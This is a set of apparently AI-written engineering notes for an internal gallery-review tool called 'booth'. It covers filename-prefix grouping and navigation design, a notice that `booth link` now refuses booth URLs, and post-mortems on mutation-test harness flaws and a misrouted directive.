- "THE PAGE WORKS WITH NO JAVASCRIPT. Filters are links with a query parameter, resolved server-side; the rail is anchors. Keyboard is the one genuinely JS-only affordance and it is additive -- the page is fully usable without it. U3 cost the verbatim path its no-JS operation and said so plainly; this unit must not quietly do the same to the gallery, which is the surface the operator actually reviews on."
- "VIRTUALIZATION STAYS PARKED. The largest gallery is 66 images. ROADMAP parks progressive loading with `measure the real booth before optimising it`; at this size a lazy grid is almost certainly fine, and inventing the work is the failure the parking lot exists to prevent."
open_questions:
- "WHETHER THE GROUP HEURISTIC SHOULD BE OVERRIDABLE. A booth could carry a `.groups` dotfile naming its own grouping, the way `.blurred` names blur. Not designed here: no live booth wants it, the heuristic is right on four of five, and adding an override before anyone has been failed by the default is speculative. Parked, not solved."
- "RESOLVED 2026-09-22 — `unanswered` means `has an open pick`, the U4 hold predicate, which is what shipped. The `has no mark at all` reading is a genuinely different question and is PARKED for v1.1 rather than pending."

# U7 — navigation at the size the booths actually are
**LANDED — all four components.**
| component | ROADMAP says | state |
|---|---|---|
| sticky rail | ratified | **landed** — totals + per-filter counts, links not scripts |
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
| **sections → filename groups** | **departs from it** | **landed** — ratified by the operator 2026-09-22. `test_no_group_rail_is_shipped_yet`, the guard that held it back, was deleted in the same commit that built it. |
`unanswered` means **has an open pick** — the U4 hold predicate. **Settled by
the operator 2026-09-22**; the "has no mark at all" reading is a different
question and is parked, not pending.
## The defect, re-measured rather than inherited
ROADMAP sizes this unit for 270 items. **The largest gallery is now 81 items
and 40 images.** The four booths it was written against were swept on
2026-09-22 and the set churned again during that session. The defect is real
and the sizing is not:
| | ROADMAP's premise | measured 2026-09-22 |
|---|---|---|
| largest gallery | 270 images, one flat wall | **`sindra-bakeoff`, 40 images** |
| galleries with subdirectories | "sections come from subfolders, which already exist" | **0 of 11** |
| booths with subdirectories at all | — | 2, and **both are reports** |
| grouping signal that does exist | — | **the filename prefix** |
## Sections are dead. The prefix is not.
⚠ **THE TABLE BELOW IS THE RE-MEASUREMENT, AND IT DISAGREES WITH THE ONE THIS
CONTRACT WAS WRITTEN ON.** The original claimed the rule `strip ONE trailing
run of digits` produced **5** groups on `sindra-bakeoff` and **1** on `sindra`.
Neither reproduces: that rule gives **24** and **27**. The original table's own
worked example says so out loud — it notes `00-sheet-c1-market-noon.png` has no
trailing digit run and therefore groups as its whole stem, which makes eight of
bakeoff's forty images eight singleton groups. **The numbers 5 and 1 are
reproducible only by two OTHER rules** (first-two-segments gives exactly 5 on
bakeoff; first-segment gives exactly 1 on sindra), so the table that justified
this design was assembled from more than one heuristic. Caught by implementing
the stated rule and running it against the live set rather than trusting the
table beside it.
**The shipped rule** — first separator-delimited segment, destemmed only when
the stem has no separator — measured against all 17 live booths, 2026-09-22.
`G` is groups, `med` the middle group's size, `sing` the singleton groups:
| booth | items | G | med | sing | rail? |
|---|---|---|---|---|---|
| `sindra-corpus-v1` | 66 | 11 | 5 | 4 | **yes** — `ac 12 · bu 10 · cu 12 · fb 12 · … · wu 8` |
| `sindra-sfw-pool` | 59 | 6 | 11 | 0 | **yes** |
| `sindra-nude-pool` | 42 | 9 | 4 | 1 | **yes** |
| `sindra-bakeoff` | 41 | 4 | 12 | 1 | **yes** — `00 · README · m · r`, the three real families |
| `sindra` | 31 | 2 | 15 | 1 | **yes** |
| `muse-clothed-repro` | 7 | 3 | 2 | 1 | **yes** — `v30`/`v35`, the axis that booth is about |
| `pewpew-ui-brief` | 34 | 23 | 1 | 19 | no — **degeneracy (b)** |
| `dfa-concepts` | 20 | 13 | 1 | 8 | no — **degeneracy (b)** |
| `cr123a-to-d-sleeve` | 7 | 6 | 1 | 5 | no — degeneracy (b) |
| `sc-iso-spread` | 6 | 1 | 6 | 0 | no — **degeneracy (a)**, `DSC0001`–`DSC0006` |
| `music3-songs`, `krea2-lora-portability` | 3 | 1 | 3 | 0 | no — degeneracy (a) |
| `miranda-is`, `sindra-voice-1` | 47 / 10 | 10 / 6 | 2 / 2 | 3 / 2 | **no grid at all** — both carry `index.html` and take the verbatim path |
**Why the rule changed.** `strip ONE trailing run of digits` keys on the END of
the stem, which is where the *instance number* lives — so it separates
`m-c1-market-noon-9401` from `m-c2-rain-street-9403`, which are the same family.
The shipped rule keys on the START, which is where the *family* lives. The
competing heuristics measured and rejected: split-on-second-hyphen (59 groups
from 59 files), and destemming the first segment unconditionally (merges `v30`
with `v35`).
**The honest cost.** Destemming a flat stem is what makes `ac01.png` → `ac`
work, and it is exactly what would merge `v30` with `v35` if applied to a
segmented name. The rule therefore has a conditional in it, which is one more
thing than "take the first segment" — paid because `sindra-corpus-v1`, the
largest gallery, is entirely flat names.
## What ships
1. **`Item.group`** — derived once, in the resolver, beside `section`.
2. **A sticky rail** — total, per-group counts, per-filter counts, jump-to-group
anchors. **Absent entirely when there is one group or fewer.**
3. **Filters** — all / flagged / annotated / unanswered, as server-resolved
query parameters so they work with JS off.
4. **Grid keyboard** — `←/→` move focus, `f` flags, `n` opens a note, `Enter`
zooms, `Esc` clears focus. Additive; the page is complete without it.
## Signatures
```python
def _group_of(rel: str) -> str | None:
"""The grouping key for an item, or None when it has none.
THE RULE, in one line: the first separator-delimited segment of the
basename's stem -- with a trailing digit run stripped only when the stem has
no separator at all.
00-sheet-c1-market-noon.png -> 00
m-c1-market-noon-9401.png -> m
flag-rear.png -> flag
ac01.png -> ac (no separator: the digits ARE it)
DSC0001.jpg -> DSC
v30-seed8302.png -> v30 (separator present, so v30 != v35)
01.png -> None (nothing before the digits)
Derived HERE and nowhere else (INV-1).
"""
```
~~**SUPERSEDED — the rule this contract was written with.**~~ *"take the stem of
the basename, strip ONE trailing run of digits and any single separator before
it. `ac01.png` → `ac`; `00-sheet-c1-market-noon.png` → `00-sheet-c1-market-noon`
(no trailing digit run, so the whole stem); `flag-rear.png` → `flag-rear`."*
Kept struck rather than deleted: it is the rule the measurement table above was
supposed to describe, and the mismatch between the two is the thing worth
remembering. It keys on the end of the stem, where the instance number lives,
and so splits families rather than gathering them.
## Ordering — the rule, because invariant 6 binds
| collection | rule |
|---|---|
| items | **unchanged** — `sorted(rel)` (U1 INV-3) |
| the zoom ring | **unchanged** — item order filtered to images |
| **groups among themselves** | **the position of each group's FIRST member in the RENDERED sequence** — which is `sorted(rel)` narrowed by the filter and never re-sorted. So the rail reads in the same direction the grid does, and adding a file never reshuffles the rail unless it lands first in its group. Implemented by walking `shown` once into an insertion-ordered `dict`: the walk IS the rule, so there is no second sort to drift from it. |
| items within a group | **unchanged** — they are a filtered view of `sorted(rel)`, never re-sorted |
| the filtered grid | **unchanged** — `sorted(rel)` with non-matching items hidden |
This closes ROADMAP's outstanding U7 order question. Compare pairing is not
this unit's problem — compare mode is parked to v1.1 with the pairing rule.
## Invariants
**INV-1 — one resolver derives the group.** `_group_of` is called only from
`booth_items`. *Falsifiable:* the defeating change is a route or template
computing a prefix inline. The test asserts no call to `_group_of` survives
inside `create_app` — the same assertion U1 makes for `classify` and
`render_doc`, which is why it is the shape used here.
**INV-2 — grouping and filtering never reorder.** *Falsifiable:* the defeating
change is sorting by `(group, rel)` to make the grid render contiguously, which
looks right and silently changes what "the third one" means. The test renders a
booth whose groups interleave in `sorted(rel)` order and asserts the rendered
item sequence is **byte-identical** with grouping on and off, and that
`image_chain` is unchanged under every filter.
**INV-3 — a rail that cannot navigate does not render, in EITHER direction of
degeneracy.** The rail is absent unless grouping is informative: **two or more
groups, and the middle group holding more than one item.**
- **(a) one group for everything.** Live specimen `sc-iso-spread`:
`DSC0001.jpg`–`DSC0006.jpg`, one group, six images. A rail with a single row
cannot navigate.
- **(b) one group per item.** Live specimens `pewpew-ui-brief` (23 groups for
34 items) and `dfa-concepts` (13 for 20). A rail with a row per tile is a
second copy of the grid.
*Falsifiable:* two defeating changes, each with its own test. `{% if
rail.groups %}` in the template is true for a single group and true for N
singletons — so the decision lives in Python, where it can be measured, and the
template guard is the whole of it. Dropping the `>= 2` term reds
`test_no_group_rail_when_there_is_only_one_group`; dropping the median term
reds `test_no_group_rail_when_every_item_is_its_own_group`. Both mutations were
RUN.
~~**SUPERSEDED — INV-3 as first written.**~~ *"one group renders NO rail …the
test uses the real `sindra`-shaped fixture (thirty files, one prefix)."* Two
things wrong with it, and the second is why this is kept: the `sindra` fixture
does not exist (that booth yields 27 groups under the rule stated beside it,
and 2 under the shipped one — `sc-iso-spread` is the real specimen), and it
guarded only degeneracy (a) when (b) is the one the live set actually
exhibits. A contract that had shipped as written would have put a 23-row rail
on `pewpew-ui-brief`.
**INV-4 — a filter is a link, not a script.** *Falsifiable:* the defeating
change is binding filters to a click handler. The test fetches the filtered URL
directly and asserts the server returned the filtered grid, with no JS executed.
**INV-5 — the keyboard never fires on a booth with no grid.** *Falsifiable:*
the defeating change is binding the handler unconditionally, so `f` on the
standing link board flags nothing and swallows the keystroke. The test asserts
the handler is not bound when `items` is empty.
## Out of scope
- **Sections as a rail.** Measured worthless; `Item.section` is untouched.
- **Compare mode.** Parked to v1.1 with its pairing rule.
- **Virtualized loading.** Parked; measure first.
- **A `.groups` override file.** See open questions.
- **Anything on the verbatim path.** It has no grid.

is **not deprecated** — 17 handles have the muscle memory, the teaching moment
belongs at the point of use, and (corrected 2026-09-22, U6) the board has a
legitimate residual job: of the 35 distinct non-booth targets on it, roughly
**14 are reference bookmarks** — gitea repositories, HuggingFace model cards,
a vLLM recipe, a Headscale setup page — for which the board is the right and
only home. Deprecating it would evict a third of its live content. It loses
exactly one shape, the booth URL, and keeps the rest.
### What "normalized URL" means, and why it is not the origin
Corrected 2026-09-22 while U6 was being contracted. This doc said *normalized
URL* and left it there; the obvious reading is the origin
(`scheme://host:port`), and that reading is **measurably destructive**.
Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full
URL, 35. The 16-group difference is not duplication:
| what origin identity would merge | rows |
|---|---|
| eight distinct gitea repositories, issues and package versions | 8 → 1 |
| three unrelated HuggingFace model cards | 3 → 1 |
| **the two LRPG surfaces on `10.100.10.50:8321`** — this doc's own example of two real benches | 2 → 1 |
| two different claude.ai artifact briefs | 2 → 1 |
Full-URL identity still collapses both cases this doc names — `talk` 5 rows to
1, Peedlar's root 3 to 1 — which is the entire win, without the losses.
The **query string is part of the identity** and the **fragment is not**: three
ShutterChute rows differ only by `?token=` and are three genuinely different
one-shot links, while a fragment is a position inside a page. Credentials in a
URL are **refused rather than stripped** — stripping registers a bench whose URL
no longer works while telling the poster it succeeded.
### One number that was two defects
This doc's headline **69% rot** is two different defects wearing one number, and
U5 already closed the cause of the larger one:
| defect | rows (2026-09-22) | what fixes it |
|---|---|---|
| **booth-announcement rot** — a session posts a booth URL because a booth cannot announce itself | 178 rows, 156 already dead | **U5** gave job 5 a home; U6's refusal stops the habit; U6's dead marker clears what landed |
| **bench re-post** — an append log with no identity | 8 rows | U6's registry |
Worth stating plainly because the single figure implies the registry is the big
half. It is the smaller one.

no JavaScript: an ask rendered server-side and submitted through a plain form.
It now needs the script. The guarantee that an ask is never invisible survives
in a weaker and still-true form through surfaces that need no script — the index
card's open-mark badge, and `/b/<name>/marks`, which renders every mark
server-side.

Subject: `booth: \`booth link\` now refuses a booth URL — use \`booth new --why\` instead`
---
ONE CHANGE THAT AFFECTS YOU, and it is a refusal you would otherwise hit
without knowing why.
`booth link` now REFUSES a booth URL.
$ booth link http://10.100.10.50:8090/b/my-run/ "the renders"
booth link: that is a booth, and a booth announces itself now.
booth new my-run --why "the renders"
the index at http://10.100.10.50:8090/ is the feed.
exit 2
WHY. A booth announces itself now — `booth new` and `booth add` write a
`.booth.json` carrying your handle and a one-line `--why`, and the index
renders it. Posting the URL to the board on top of that creates a row that
rots the moment the booth is swept. Measured on the live board: 178 of its 221
rows were booth URLs and 156 of those already pointed at nothing.
WHAT TO DO INSTEAD. Nothing extra — just use `--why`:
booth new my-run --why "8 renders, pick the two that hold at 4K"
booth add my-run out/*.png --why "..."
The operator sees it on the index with your handle beside it.
WHAT IS UNCHANGED. `booth link` is NOT deprecated and keeps working for
everything else — repos, model cards, docs, recipes, any durable reference.
Roughly 14 of the board's 35 distinct non-booth links are exactly that and the
board is still their home. Only the booth-URL shape is refused.
ALSO NEW, and optional: `booth bench add <url> <name>` registers a RUNNING
SERVICE — your current bench, the thing that gets promoted to Homepage.
Identity is the URL, so re-posting UPDATES the row instead of adding a fifth
(`talk` was on the board five times). `booth bench ls` lists them.
a BOOTH is work to review. Announces itself, swept after 24h.
a BENCH is a running thing. Registered, durable, upserted by URL.
a LINK is a reference bookmark. The board, unchanged.
ONE MORE, since it is easy to miss: `booth link` also refuses a URL carrying
credentials (`user:pass@host`). The board renders on an unauthenticated LAN
surface.
Shipped in booth v0.6.0/v0.6.1, deployed and live. No action needed from you
unless you have a script that posts booth URLs to the board — that will now
exit 2 rather than silently adding a dead row.

# An approved directive misrouted because pane_find addresses by a rolling title
_2026-09-22 · booth_
**An operator-approved directive (D-0011, sent by Miranda, telling booth-dev to
begin U7) landed on the infra-ops handle instead.** Worth keeping for the
mechanism, not the incident: the incident resolved cleanly and the mechanism
did not.
## What happened, and why nothing broke
`pane_find` matched `terminal_2` **by its ROLLING PANE TITLE**, and that pane is
the eshpfi-management seat rather than booth-dev. Miranda confirmed all of this
directly when asked.
infra-ops caught it and **deliberately did not relay the content as an
instruction** — their reasoning, which is exactly right: a directive arriving as
"infra-ops says Miranda says Vuong says" is two hops from the source, and a peer
passing operator authority along is the thing the rules warn about. They sent a
routing report instead, quoting only the two lines that identified the target.
This session then **did not act on it**, and asked Miranda directly rather than
taking a peer's word for the operator's. She confirmed it was genuine and
**superseded pending the sections ruling**. Both loops closed in two messages.
## The part that is still true tomorrow
**A pane title that changes as work moves through the pane is not a stable
address.** It put an approved directive on the wrong seat, and:
- **the failure is silent from the sender's side.** Miranda had no signal it
went astray until infra-ops spoke up. A directive that misroutes to a quiet
or busy seat simply evaporates.
- it landed somewhere that caught it. That was luck, not design.
Reported to infra-ops as an ops matter (`01M35JJ9034E64HMA8X9C21R2N`), with the
mechanism named and no fix proposed — not this repo's call. **Not tracked
anywhere by booth-dev**; recorded here only so the next session does not
re-derive it if a directive goes missing again.
## The rule this confirms
The CLAUDE.md Miranda exception is for Miranda relaying **directly**. A
second-hand report of a Miranda relay is one hop too far, and infra-ops said so
before this session had to. Going to the source cost two messages and settled it.

# A mutation harness that certified a broken test, twice, for two reasons
_2026-09-22 · booth_
This repo already knows that **an assertion which has never seen its own
defeating change is not known to falsify anything** — two prior entries say so
([[2026-09-22-vacuous-falsifiers]], [[2026-09-22-seven-of-seven-falsifiers]]).
So U7's groups were built with a harness that applies each defeating change and
asserts the named test goes red. **The harness itself had two defects, and both
produce the same lie: a falsifier certified without being run.**
## Defect 1 — no green baseline
A test that is **already red** reports RED for every mutation thrown at it. The
escaping test had an arithmetic slip (counted `<` against `<a`/`<nav`/`</` and
forgot the two `<b>` elements), so it was failing for a reason unrelated to
escaping — and the harness cheerfully reported `RED ✓ the rail markup is emitted
with |safe`. **Run the test unmutated first; a non-zero baseline is a harness
failure, not a proven falsifier.**
## Defect 2 — the bytecode cache, which is the subtle one
`if len(sizes) < 2` → `if len(sizes) < 1` is **byte-identical in size**. CPython
validates a `.pyc` against the source's `(mtime, size)` at **one-second
granularity** — so a mutation that lands in the same second as the revert before
it is invisible, the cached bytecode is reused, and **the harness runs the
unmutated code and reports the falsifier proven.**
The tell was non-determinism with no cause: INV-3a certified RED on one run and
GREEN on the next with neither the test nor the code changing, and reproduced by
hand every time. Fix: delete `__pycache__` and set `PYTHONDONTWRITEBYTECODE=1`
in the subprocess environment before every run.
⚠ **This bites any same-size source mutation**, which is most interesting ones:
comparison flips, off-by-one constants, `and`↔`or`, `<`↔`>`. A mutation harness
without cache defeat is biased toward exactly the mutations most worth running.
## Result
12 falsifiers, 12 proved, stable across consecutive runs. Two of them only
after these fixes — and one of the twelve (`test_group_order_is_the_position_of
_the_first_member`) was genuinely vacuous on the first pass: its `w, x, y`
fixture's positional order **happened to be alphabetical**, so it stayed green
under the alphabetical-sort mutation it forbade. Rebuilt so all three plausible
rules (position, alphabetical, count) disagree.
**The harness lives in the session scratchpad and dies with the session.**
Whether it becomes `scripts/` is an open question for the operator — this repo
has now been bitten by vacuous falsifiers three times, and prose in a memory
file is not an instrument.
## A third way an instrument goes blind: `nth-child` vs `nth-of-type`
_Added 2026-09-23, credited to design-dev, who hit it in his R2 order check._
His layout check has a positive control — one tile given `order:-1` that the
check must catch. **The control went blind when group headers became grid
children**: `nth-child(5)` started landing on a header instead of the fifth
tile, so the control stopped controlling and the check kept reporting clean.
Same class as this file's other two, and the reason it belongs here: **a control
that no longer controls reads exactly like a passing test.** Nothing in the
output distinguishes "detected nothing because there was nothing" from
"detected nothing because I am aimed at the wrong element".
**The rule worth having written down:** use `nth-of-type` over `nth-child` for
any assertion that means *the Nth TILE* rather than *the Nth child element*.
The two agree right up until somebody adds a sibling of a different kind — and
adding a sibling is what a redesign is.

# A wrong-shaped answer 500s the gallery and the marks page — CLOSED 2026-09-22
_2026-09-22 · booth_
**Found by the U3 bug-hunt panel, measured against `42ea67f` — the commit
BEFORE U3 — so it is not this unit's doing and was not fixed by it.** U3's own
surface is guarded; these two are not.
## The defect
`.marks.json` that is **well-formed JSON with a wrong-shaped value** passes
every reader and then raises in the renderer:
```json
{"id": "batch", "shape": "pick", "answer": {"answers": [], "notes": ""}}
```
`_hydrate` only checks `isinstance(entry.get("answer"), dict)` — it never
validates `answer["answers"]`. So `marks_for` and `hold_read` both return the
mark with `error = None` and **no read error at all**, and then
`_ask_inline.html` does `a.answer.answers.get(q.key)`, Jinja asks a list for
`.get`, and it raises `UndefinedError`.
Measured, not reasoned:
PRE-U3 (42ea67f) gallery page: 500
PRE-U3 (42ea67f) marks page: 500
PRE-U3 (42ea67f) index: 200
The index survives because it never renders a fragment.
## Why it matters more than it looks
This is **the v0.2.2 shape with a different trigger**. That outage was a
`.marks.json` that could not be PARSED; the reader was made lenient and the
index stopped 500ing. This one parses perfectly and breaks one layer further in,
at render time, where no leniency exists — so the lesson "one damaged file must
cost its own tile, not the page" is only half-implemented. `read_error` is
answering a narrower question than every caller assumes.
## What U3 did and did not do
U3 added `_safe_fragments` around `_pick_fragments`, so `/b/<name>/embed.json`
returns a per-mark `error` record instead of a 500 — the same posture
`_hydrate_safe` takes one layer down. That protects **the verbatim path only**.
`booth.html` and `marks.html` call the same macros with no such guard. Left
alone deliberately: the gallery is named out of scope in the U3 contract, and
widening a unit mid-flight to cover a pre-existing defect in a surface it never
touched is the scope drift the roadmap gate exists to stop.
## The design question it deserves, when it is picked up
Not "wrap the other two call sites" — that is the third copy of one guard. The
real question is **where the boundary belongs**:
1. **In `_hydrate`**, validating the answer shape so a wrong-shaped answer
becomes `error` at hydration and every surface inherits the fix. Cleanest,
and consistent with declarations already being normalized on read — but it
widens what `error` means.
2. **At each render site**, per-mark, as U3 did. Honest and local; three copies.
3. **In the template**, defensively. Cheapest and worst — it hides the fact
that anything is wrong.
(1) is the shape the rest of this module already argues for: one predicate,
one place. Worth an operator decision because it changes what a `Mark` can be.

## CLOSED — 2026-09-22, after U6, at option (1)
Fixed in `_hydrate`, the option this entry argued for: **one predicate, one
place, every surface inherits it.** The operator was asked three times where the
guard belonged and did not answer; the placement was taken under the stated
assumption, and it is cheap to move if he disagrees — the whole fix is one
condition in one function.
**Only the MULTI case is checked**, because only the multi case indexes: a
single-question pick's answer IS the record, with no `answers` key to get wrong.
Requiring one unconditionally would break every single pick — the direction a
too-eager guard fails in, and it has its own test.
Measured before and after, on the gallery booth (no `index.html`):
before /b/g/ 500 /b/g/marks 500 / 200 /healthz 200
after /b/g/ 200 /b/g/marks 200 / 200 /healthz 200
and the error is VISIBLE on the page, and the booth's
OTHER, healthy pick still renders
**Two things fell out of it that are worth more than the fix.**
1. **`_safe_fragments` lost its natural trigger.** Probed every wrong answer
shape reachable from a `.marks.json`: `answers` as a list, a string or null
all become hydration errors now, and a wrong-typed VALUE inside `answers`
renders without raising because Jinja absorbs attribute access on a
non-mapping. So U3's guard is now a pure backstop with **no reachable
natural input**. Its test was rewritten to a synthetic trigger that says so —
patching the shared macro module through `app.state.templates` — rather than
left asserting a path nothing reaches. An untested guard and a guard tested
by an unreachable input are the same thing.
2. **The guard's own handler could not survive the failure it was handling.**
Building that falsifier tripped it: `_safe_fragments` caught a raising
`_pick_fragments` and then rebuilt the broken-ask box **through the same
macro module that had just raised**, so when `whole` itself was broken the
handler re-raised and took the whole report. Fixed, with its own test. Found
by accident, which is the usual way.
Both new falsifiers were **verified RED against their defeating change** rather
than assumed — the discipline from [[2026-09-22-vacuous-falsifiers]], applied to
the fix for the entry that names it.

# No fleetwide notice for U4 — and what that does to the prediction
_2026-09-22 · booth_
**Operator decision, 2026-09-22: do NOT tell the 17 consuming handles that
`keep` has stopped being the way to say "waiting on an answer".** No broadcast.
Same posture he took on U5, and the same instrument: adoption gets told apart
from design because nobody was primed.
⚠ **THIS CHANGES HOW THE 2026-10-06 RE-COUNT MUST BE READ, and a session that
misses this will draw the wrong conclusion from a true number.**
U4 has two halves and they do NOT have the same adoption cost:
- **The hold rides for free.** A session that runs `booth ask` gets its booth
held with no knowledge of anything. The operator answering releases it. No
peer has to learn a thing for the mechanism to work.
- **NOT PRESSING `keep` HAS TO BE LEARNED.** U4 makes the sentinel unnecessary
for the "not yet" case; it does not make it unavailable, and nothing stops a
habit. An agent that has always pressed `keep` while waiting will keep
pressing it.
**So a flat `.forever` rate on 2026-10-06 does NOT falsify the diagnosis.** It
is exactly what "the mechanism works and nobody was told" looks like — the U5
shape, one unit later. Reporting a null result without this caveat would retire
a correct diagnosis on the strength of an uncontrolled measurement.
**Use these instead, and report all three.** The raw rate stays as context, not
as the verdict:
1. **The overlap — booths with an open pick AND `.forever`.** Was **3** on
2026-09-22, which is the positive control for the whole diagnosis. It falls
only if peers learn; it is the *adoption* number.
comm -12 <(grep -l '"shape": "pick"' ~/booth-data/*/.marks.json | xargs -n1 dirname | sort) \
<(dirname ~/booth-data/*/.forever | sort) | wc -l
2. **Did the hold ever bind?** Count booths that were held past their TTL and
therefore survived a sweep they would otherwise have lost. This needs no
peer to change anything, so it is the honest test of whether the mechanism
is load-bearing at all. **If it is ZERO over a fortnight, the diagnosis was
wrong about VOLUME** — the "not yet" case is rarer than the sentinel rate
suggested — and that is a real finding. The sweeper logs what it wipes;
nothing yet logs what it spares, so **this counter does not exist and would
have to be added before it can be read.** Say so rather than guessing.
3. **The raw `.forever` rate** — 17 of 24 (70%) on 2026-09-22. Context only,
now that the no-notice decision has made it a measurement of habit rather
than of need.
⚠ **Sensitivity floor, stated because a bare "no effect" is unfalsifiable:**
only **4 of 24** booths carried marks at all on 2026-09-22. The hold cannot
bind on a booth with no marks, so at that population the mechanism can touch at
most a sixth of the fleet, and an effect smaller than one or two booths is not
resolvable by any of these counts. Related: `[[2026-09-22-forever-had-a-live-positive-control]]`.

# The 69% link-board rot was two defects wearing one number
_2026-09-22 · booth_
**Re-measuring the board before writing U6's contract split its headline number
in half, and the half U6 owns is the smaller one.** The IA doc records *211
rows, 145 (69%) pointing at booths that no longer exist*. Re-counted on
2026-09-22 the board was 221 rows — and the split nobody had taken before:
| | count | share |
|---|---|---|
| rows that are booth URLs | **178** | 80% of the board |
| …whose booth is already swept | **156** | **71% of the whole board** |
| rows that are NOT booth URLs | 43 | 19% |
| …distinct after full-URL normalization | 35 | |
| …collapsed by the re-post problem U6 names | **8 rows** | |
So the 69% is:
1. **Booth-announcement rot — 178 rows.** A session posted a booth URL because
a booth could not announce itself. **U5 already closed the cause.** Nothing
stopped the habit, so the board took 11 more of these in the day after it was
first measured.
2. **Bench re-post — 8 rows.** An append log with no identity. This is the part
the registry fixes, and it is an order of magnitude smaller.
**The third thing, which the IA doc does not describe at all:** of the 35
distinct non-booth targets, roughly **14 are running services (benches)** and
roughly **14 are reference bookmarks** — gitea repos, HuggingFace model cards, a
vLLM recipe, a Headscale page — with the rest ephemeral one-shot links. The IA
doc planned for `booth link` to survive "as a deprecated alias". That would have
evicted a third of the board's live content from the only home it has. **U6 does
not deprecate `booth link`**; it removes exactly one shape from it.
**Why this is worth keeping.** The single 69% figure implies the registry is the
big win. It is not — the enforced rule and the dead marker are. A unit scoped
off the unsplit number would have built the registry, declared victory, and left
178 rows rotting. Re-measure before contracting; the number in the design doc is
a day old the moment it is written.

# The operator ruled on all five open items at once
_2026-09-22 · booth_
**"accept all recs, or make good ones, write it to handoff so I can clear."** A
blanket ratification. Four of the five executed; one was stopped by the
permission layer and is recorded rather than worked around.
| # | item | ruling | state |
|---|---|---|---|
| 1 | Drop subfolder sections for filename-prefix groups | **APPROVED** | **not yet built** — the next session's first job |
| 2 | What `unanswered` filters on | **open pick** (the shipped reading) | settled; the other reading parked to v1.1 |
| 3 | Push `main` | **PUSH** | **DONE** — 16 commits + `v0.6.0` + `v0.6.1` now on `origin` |
| 4 | The 17-handle althing note | send it | **BLOCKED** — see below |
| 5 | Marks guard placement | **stays at `_hydrate`** | already there; nothing to do |
## Two things the blanket ruling did NOT cover, and why
**The broadcast was blocked by the auto-mode classifier, and that was right.**
CLAUDE.md gates any multi-recipient althing send on *explicit* operator
approval — "ask, then send, never send and report" — because the cost is
multiplied by the recipient count and paid out of budgets the sender never
sees. A blanket "accept all recs" ratifies the note's **content**; it is not the
specific, informed broadcast approval that rule asks for. The classifier agreed
and **it was not worked around**. Draft, rationale and the 17-name recipient
list live at `docs/pending/fleet-note-booth-link-refusal.md` so they survive a
context clear; it needs his explicit go or a `postbox send` permission rule.
**"No seeding yet" survives the blanket ruling**, because it was a SPECIFIC
prior instruction rather than a recommendation of this session's. A blanket
acceptance of recommendations does not overwrite a direct instruction pointing
the other way. `.benches.json` still does not exist in `~/booth-data`.
## The push, recorded because it is a first
`main` was **16 commits ahead** with two release tags unpushed and the whole of
U6 single-copy on one box. Pushed with `--follow-tags`, then the two tags
explicitly — `--follow-tags` pushed neither, because both tags are LIGHTWEIGHT
per the SemVer policy and that flag only carries annotated ones. Worth knowing:
**a lightweight release tag needs its own `git push origin <tag>`.**
## The trap this leaves behind, and it is a real one
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` was written to
**stop an unapproved group rail from arriving by accident**. The rail is now
approved, so that test has inverted: it will block the correct work and read
like a genuine invariant while doing it. **Whoever builds the group rail must
delete it in the same commit.** A guard that outlives its reason is worse than
no guard, because the next reader trusts it.

# A vacuity pass that tries the contract's own mutation agrees with itself
_2026-09-22 · booth_
The contract-time **vacuity pass** — for each invariant, name a change that
defeats it and check the named test goes red — was proposed independently by
Regin and Kimi on U4's paraphrase round, and U4's own code-review panel then
showed **five of seven** U4 falsifiers were vacuous: a green test *cited* by an
`INV` rather than a test that would *fail* if the invariant broke. See
[[2026-09-22-vacuous-falsifiers]].
U3 ran the pass as a real instrument rather than a promise. Script in the
session scratchpad; for each invariant it applies the mutation the contract's
*Falsifiable:* line names, runs the single named test, and asserts a **non-zero**
exit, restoring the file in a `finally` either way.
| INV | mutation applied | verdict |
|---|---|---|
| 1 declaring page untouched | append `<!-- booth -->` to the declaring branch | FALSIFIED |
| 2 appended, never inserted | insert the tag before `<title>` instead | FALSIFIED |
| 3 no regex on author HTML | re-declare `_ICON_RE` in `app.py` | FALSIFIED |
| 4 openness is the server's | have `embed.js` derive open from `bk-done` | FALSIFIED |
| 5 embed.js read once | `read_text()` per request in the route | FALSIFIED |
| 6 tail in payload order | iterate the marks list backwards | FALSIFIED |
| 7 unplaced questions appended | short-circuit the append branch to `if (false)` | FALSIFIED |
**7/7**, and — the part that makes it a measurement rather than a ritual — an
**unmutated control run** confirming all seven named tests are green when
nothing is broken. Without that control, a script whose mutation silently failed
to apply (the text not found, the wrong file) reports the same clean-looking
table. The script halts with `MUTATION-MISS` if its target string is absent,
for exactly that reason.
## Why it is worth the ten minutes
Three of the seven falsifiers are in `embed.js`, which the Python suite cannot
see at all. INV-4, INV-6 and INV-7 are held **only** by browser tests, and
"there is a browser test named after this invariant" is precisely the kind of
claim that feels like coverage and can be empty. Two of those three mutations
are one-token edits — `marks.length - 1` and `if (false)` — so the cost of
checking was minutes and the cost of being wrong was an invariant nobody was
holding.
**The general shape:** an instrument that cannot fail loudly will fail quietly.
Same family as the `(gasp)` tag-detection specimen in the global measurement
rule, and as the zsh word-splitting bug that shipped an empty heid bundle —
[[2026-09-22-four-paths-to-one-fail-open-delete]]. A clean result and a broken
method are indistinguishable from the output alone unless something in the
method is designed to go red.
## ⚠ AND THEN THE COLD PANEL SHOWED ONE OF THE SEVEN WAS VACUOUS ANYWAY
The table above is real and it was **not sufficient**. The `/heid-contract-review`
panel (`01M351WKV666D681SSRNY7D7X6`) — three of four arms, independently —
showed **INV-3's falsifier was vacuous**, on this contract's central promise, and
the pass above had passed it.
**Why the pass missed it.** INV-3 claims *no regular expression is applied to
author HTML*. The test name-matched the six DELETED patterns. The mutation the
pass applied was re-declaring `_ICON_RE` — **the pattern the contract named** —
which the name-match caught. The mutation the invariant actually forbids is a
regex under a *new* name (`_TAIL_RE.sub(...)` in the verbatim branch), and that
sailed through green.
> **The mutation has to come from the INVARIANT'S CLAIM, not from the
> FALSIFIER'S EXAMPLE.** A pass that applies the contract's own suggested
> mutation is testing the contract against itself, and it will agree.
**Then the fix had a hole too, and only a re-run found it.** The repaired test
asserts `booth/app.py` performs exactly one regex operation. Re-running the pass
*against the fix* showed an aliased `import re as _r` routes around the call
check under a name it does not know — still VACUOUS. Closed with an import-shape
assertion. **Run the pass on the repair, not only on the draft.**
